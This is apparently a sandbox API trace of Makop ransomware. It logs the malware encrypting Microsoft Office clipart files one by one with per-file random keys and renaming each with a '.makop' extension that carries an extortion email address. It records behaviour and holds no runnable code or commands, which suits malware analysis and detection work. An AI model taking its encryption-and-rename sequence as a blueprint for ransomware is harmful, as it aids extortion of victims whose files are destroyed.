[0145.091] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x634, lpOverlapped=0x0) returned 1 [0145.091] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640, dwBufLen=0x640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640) returned 1 [0145.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.091] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x640, lpOverlapped=0x0) returned 1 [0145.091] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.091] SetEndOfFile (hFile=0xf0) returned 1 [0145.098] GetProcessHeap () returned 0x48a0000 [0145.098] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.098] GetProcessHeap () returned 0x48a0000 [0145.098] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.098] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.098] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.100] CloseHandle (hObject=0xf0) returned 1 [0145.100] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1 [0145.100] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF") returned 63 [0145.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.102] GetProcessHeap () returned 0x48a0000 [0145.102] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.102] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0145.106] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.106] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.106] GetProcessHeap () returned 0x48a0000 [0145.106] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.107] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.107] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.107] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.107] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.107] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.108] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.108] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.108] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7fce, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7fce, lpOverlapped=0x0) returned 1 [0145.112] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7fd0, dwBufLen=0x7fd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7fd0) returned 1 [0145.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7fd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7fd0, lpOverlapped=0x0) returned 1 [0145.113] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x80a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.113] SetEndOfFile (hFile=0xf0) returned 1 [0145.121] GetProcessHeap () returned 0x48a0000 [0145.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.121] GetProcessHeap () returned 0x48a0000 [0145.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.121] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.123] CloseHandle (hObject=0xf0) returned 1 [0145.123] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1 [0145.123] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 63 [0145.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.125] GetProcessHeap () returned 0x48a0000 [0145.125] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.125] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.129] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.129] GetProcessHeap () returned 0x48a0000 [0145.130] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.130] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.130] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.131] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.131] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.131] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x121c, lpOverlapped=0x0) returned 1 [0145.132] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220, dwBufLen=0x1220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220) returned 1 [0145.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1220, lpOverlapped=0x0) returned 1 [0145.133] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.133] SetEndOfFile (hFile=0xf0) returned 1 [0145.140] GetProcessHeap () returned 0x48a0000 [0145.140] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.140] GetProcessHeap () returned 0x48a0000 [0145.140] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.141] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.143] CloseHandle (hObject=0xf0) returned 1 [0145.143] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1 [0145.143] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 63 [0145.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.144] GetProcessHeap () returned 0x48a0000 [0145.144] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.144] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.149] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.149] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.149] GetProcessHeap () returned 0x48a0000 [0145.149] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.149] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.149] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.149] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.150] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.150] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.150] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.150] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.151] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4048, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4048, lpOverlapped=0x0) returned 1 [0145.152] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4050, dwBufLen=0x4050 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4050) returned 1 [0145.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4050, lpOverlapped=0x0) returned 1 [0145.153] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.153] SetEndOfFile (hFile=0xf0) returned 1 [0145.160] GetProcessHeap () returned 0x48a0000 [0145.160] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.160] GetProcessHeap () returned 0x48a0000 [0145.160] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.160] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.162] CloseHandle (hObject=0xf0) returned 1 [0145.163] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1 [0145.163] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF") returned 63 [0145.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.164] GetProcessHeap () returned 0x48a0000 [0145.164] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.164] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0145.171] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.172] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.172] GetProcessHeap () returned 0x48a0000 [0145.172] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.172] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.172] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.172] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.172] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) 